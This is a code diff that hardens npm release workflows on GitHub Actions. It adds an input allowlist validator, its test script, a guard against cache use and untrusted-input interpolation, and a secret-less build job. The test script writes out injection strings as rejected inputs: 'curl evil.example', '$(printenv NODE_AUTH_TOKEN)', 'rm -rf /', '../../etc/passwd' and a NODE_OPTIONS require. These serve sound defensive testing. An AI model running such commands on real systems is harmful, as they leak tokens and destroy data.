@@ -0,0 +1,50 @@
+#!/usr/bin/env bash
+# Validates a single release-workflow input against an allowlist pattern,
+# so untrusted workflow_dispatch values are checked before any workflow
+# interpolates them into a shell command. One canonical pattern per kind,
+# shared across the publish/unpublish workflows and their test harness.
+#
+# Usage: validate-release-input.sh <kind> <value>
+# Exits 0 if valid, 1 with a message on stderr otherwise.
+set -euo pipefail
+
+kind="${1:?usage: validate-release-input.sh <kind> <value>}"
+value="${2:-}"
+
+case "$kind" in
+  semver)
+    pattern='^[0-9]+\.[0-9]+\.[0-9]+(-rc\.[0-9]+)?$'
+    ;;
+  semver-base)
+    pattern='^[0-9]+\.[0-9]+\.[0-9]+$'
+    ;;
+  commit-sha)
+    pattern='^[0-9a-fA-F]{7,40}$'
+    ;;
+  branch-name)
+    pattern='^[A-Za-z0-9][A-Za-z0-9._/-]*$'
+    ;;
+  rc-number)
+    pattern='^[1-9][0-9]*$'
+    ;;
+  boolean)
+    pattern='^(true|false)$'
+    ;;
+  confirm)
+    pattern='^CONFIRM$'
+    ;;
+  unpublish-type)
+    pattern='^(specific_version|latest_rc|all_rc_for_version)$'
+    ;;
+  *)
+    echo "validate-release-input.sh: unknown kind '$kind'" >&2
+    exit 1
+    ;;
+esac
+
+if [[ "$value" =~ $pattern ]]; then
+  exit 0
+fi
+
+echo "validate-release-input.sh: '$value' is not a valid $kind" >&2
+exit 1
@@ -0,0 +1,92 @@
+#!/usr/bin/env bash
+# Exercises validate-release-input.sh's allowlists directly, so the
+# publish/unpublish workflows' input validation can be checked locally
+# and in CI without dispatching a real workflow or touching the npm
+# registry. Run: bash .github/scripts/validate-release-input.test.sh
+set -euo pipefail
+
+cd "$(dirname "${BASH_SOURCE[0]}")"
+SCRIPT=./validate-release-input.sh
+
+pass=0
+fail=0
+
+assert_valid() {
+  local kind="$1" value="$2"
+  if "$SCRIPT" "$kind" "$value" >/dev/null 2>&1; then
+    pass=$((pass + 1))
+  else
+    fail=$((fail + 1))
+    echo "FAIL: expected '$value' to be a valid $kind"
+  fi
+}
+
+assert_invalid() {
+  local kind="$1" value="$2"
+  if "$SCRIPT" "$kind" "$value" >/dev/null 2>&1; then
+    fail=$((fail + 1))
+    echo "FAIL: expected '$value' to be rejected as $kind"
+  else
+    pass=$((pass + 1))
+  fi
+}
+
+# semver
+assert_valid semver "0.56.7"
+assert_valid semver "0.56.7-rc.12"
+assert_invalid semver ""
+assert_invalid semver "0.56.7; curl evil.example"
+assert_invalid semver "\$(whoami)"
+assert_invalid semver $'0.56.7-rc.1\nNODE_OPTIONS=--require=/tmp/x'
+
+# semver-base
+assert_valid semver-base "0.56.7"
+assert_invalid semver-base "0.56.7-rc.1"
+assert_invalid semver-base "latest"
+
+# commit-sha
+assert_valid commit-sha "a1b2c3d"
+assert_valid commit-sha "a1b2c3d4e5f60718293a4b5c6d7e8f9a0b1c2d3"
+assert_invalid commit-sha "main\"; echo pwned; \""
+assert_invalid commit-sha "../../etc/passwd"
+assert_invalid commit-sha "abc"
+
+# branch-name
+assert_valid branch-name "main"
+assert_valid branch-name "feat/marie/sdk-1375-harden-publish-workflows"
+assert_invalid branch-name "-rf /"
+assert_invalid branch-name "main\" && curl evil.example \""
+assert_invalid branch-name "\$(printenv NODE_AUTH_TOKEN)"
+
+# rc-number
+assert_valid rc-number "1"
+assert_valid rc-number "42"
+assert_invalid rc-number "1; rm -rf /"
+assert_invalid rc-number "one"
+assert_invalid rc-number "01"
+assert_invalid rc-number "0"
+
+# boolean
+assert_valid boolean "true"
+assert_valid boolean "false"
+assert_invalid boolean "TRUE"
+assert_invalid boolean "true; echo pwned"
+
+# confirm
+assert_valid confirm "CONFIRM"
+assert_invalid confirm "confirm"
+assert_invalid confirm "CONFIRM\" || npm publish \""
+
+# unpublish-type
+assert_valid unpublish-type "specific_version"
+assert_valid unpublish-type "latest_rc"
+assert_valid unpublish-type "all_rc_for_version"
+assert_invalid unpublish-type "specific_version; rm -rf /"
+assert_invalid unpublish-type "anything_else"
+
+# unknown kind fails closed
+assert_invalid made-up-kind "whatever"
+
+echo ""
+echo "$pass passed, $fail failed"
+[ "$fail" -eq 0 ]
@@ -0,0 +1,78 @@
+#!/usr/bin/env bash
+# Guards the npm publish/unpublish release workflows against regressions
+# this hardening pass fixed: a cache action reintroduced into an
+# NPM_TOKEN-bearing job, an untrusted dispatch input/event value
+# interpolated directly into a shell script instead of passed through
+# `env:`, or a workflow that stops calling the input validator.
+set -euo pipefail
+
+cd "$(dirname "${BASH_SOURCE[0]}")/.."
+
+fail=0
+# Workflows that hold NPM_TOKEN at some point (directly, or via a job in
+# the same file) — the cache-poisoning risk this guards against.
+token_bearing_workflows=(workflows/publish.yaml workflows/publish-rc.yaml workflows/unpublish.yaml workflows/unpublish-rc.yaml)
+# Also includes build-sdk.yaml: it's secret-less, but it still consumes an
+# untrusted-ish `ref` input forwarded from publish-rc.yaml, so a future
+# edit that starts interpolating it directly into a run: script instead of
+# via env:/action inputs is still worth catching here.
+input_consuming_workflows=("${token_bearing_workflows[@]}" workflows/build-sdk.yaml)
+dispatch_workflows=(workflows/publish-rc.yaml workflows/unpublish.yaml workflows/unpublish-rc.yaml)
+
+# Extracts the shell content of every `run:` step — both block-scalar
+# (`run: |`/`run: >`, body = lines indented further than the `run:` key)
+# and single-line (`run: <command>`) forms — so the checks below only look
+# at shell script content, not YAML mapping values like `env:` or `with:`.
+run_block_bodies() {
+  awk '
+    /^[[:space:]]*(-[[:space:]]+)?run:[[:space:]]*[|>]/ {
+      match($0, /^[[:space:]]*/); indent = RLENGTH; in_run = 1; next
+    }
+    /^[[:space:]]*(-[[:space:]]+)?run:[[:space:]]*[^|>[:space:]]/ {
+      sub(/^[[:space:]]*(-[[:space:]]+)?run:[[:space:]]*/, ""); print; next
+    }
+    in_run {
+      if ($0 ~ /^[[:space:]]*$/) { next }
+      match($0, /^[[:space:]]*/)
+      if (RLENGTH <= indent) { in_run = 0 } else { print }
+    }
+  ' "$1"
+}
+
+for f in "${token_bearing_workflows[@]}"; do
+  if grep -q 'uses:.*actions/cache' "$f"; then
+    echo "FAIL: $f uses actions/cache in an NPM_TOKEN-bearing workflow"
+    fail=1
+  fi
+done
+
+for f in "${input_consuming_workflows[@]}"; do
+  while IFS= read -r line; do
+    # Pull out each ${{ ... }} expression and check its *own* contents for
+    # a github.event.*/inputs.* reference at a real token boundary (start
+    # of the expression, or preceded by a non-identifier character) —
+    # rather than matching against the raw line, which required a
+    # boundary character between the `${{` delimiter itself and the
+    # identifier and so missed the common no-space form `${{inputs.x}}`.
+    while IFS= read -r expr_match; do
+      expr="${expr_match#\$\{\{}"
+      expr="${expr%\}\}}"
+      if [[ "$expr" =~ (^|[^.[:alnum:]_])(github\.event\.|inputs\.) ]]; then
+        echo "FAIL: $f interpolates an untrusted input/event value directly in a run: script (should go through env:): $line"
+        fail=1
+      fi
+    done < <(grep -oE '\$\{\{[^}]*\}\}' <<< "$line")
+  done < <(run_block_bodies "$f")
+done
+
+for f in "${dispatch_workflows[@]}"; do
+  if ! grep -v '^[[:space:]]*#' "$f" | grep -q 'validate-release-input\.sh'; then
+    echo "FAIL: $f no longer calls validate-release-input.sh"
+    fail=1
+  fi
+done
+
+if [ "$fail" -eq 0 ]; then
+  echo "All release-workflow guard checks passed."
+fi
+exit $fail
@@ -0,0 +1,46 @@
+# Reusable workflow: installs dependencies and builds the SDK for a given
+# ref, so stable and RC publish run the exact same build steps and that
+# logic lives in one place. Deliberately takes no secrets and requests
+# only read permissions — this job runs npm ci/i18n:generate/vite build,
+# which execute devDependency and plugin code, so NPM_TOKEN must never be
+# reachable here. The caller's separate publish job downloads this job's
+# `dist` artifact and never runs npm ci itself, keeping dependency/build
+# code execution out of the runner that holds the token.
+name: Build SDK
+on:
+  workflow_call:
+    inputs:
+      ref:
+        description: 'Git ref (branch, tag, or commit SHA) to build'
+        required: true
+        type: string
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+    steps:
+      - uses: actions/checkout@v6
+        with:
+          ref: ${{ inputs.ref }}
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Generate i18n translations
+        run: npm run i18n:generate
+
+      - name: Build
+        run: npx vite build
+
+      - name: Upload dist
+        uses: actions/upload-artifact@v6
+        with:
+          name: dist
+          path: dist/
+          retention-days: 1
+          if-no-files-found: error
@@ -43,6 +43,23 @@ jobs:
         if: steps.cache-node-modules.outputs.cache-hit != 'true'
         run: npm ci
 
+  # Exercises this repo's CI/workflow helper scripts directly (no
+  # node_modules needed), so a broken allowlist or helper regression fails
+  # here instead of only surfacing on a real workflow_dispatch run.
+  # Deliberately not glob-based: each helper gets its own step, so what CI
+  # executes is visible in this file's diff rather than implicit in a
+  # directory listing. `-euo pipefail` is passed explicitly at the call
+  # site rather than relied on from the script's own shebang, so a future
+  # edit that drops the script's `set` line doesn't silently weaken CI.
+  validate-ci-helpers:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+      - name: validate-release-input
+        run: bash -euo pipefail .github/scripts/validate-release-input.test.sh
+      - name: validate-release-workflows
+        run: bash -euo pipefail .github/scripts/validate-release-workflows.test.sh
+
   # derive-models: Generate the API models barrel (src/models/external.ts) exactly once.
   # Both `build` (→ dist → API report) and `derive-check-src` (→ TypeDoc) consume this single
   # artifact, so every derived output in a run reflects the same barrel and derive-commit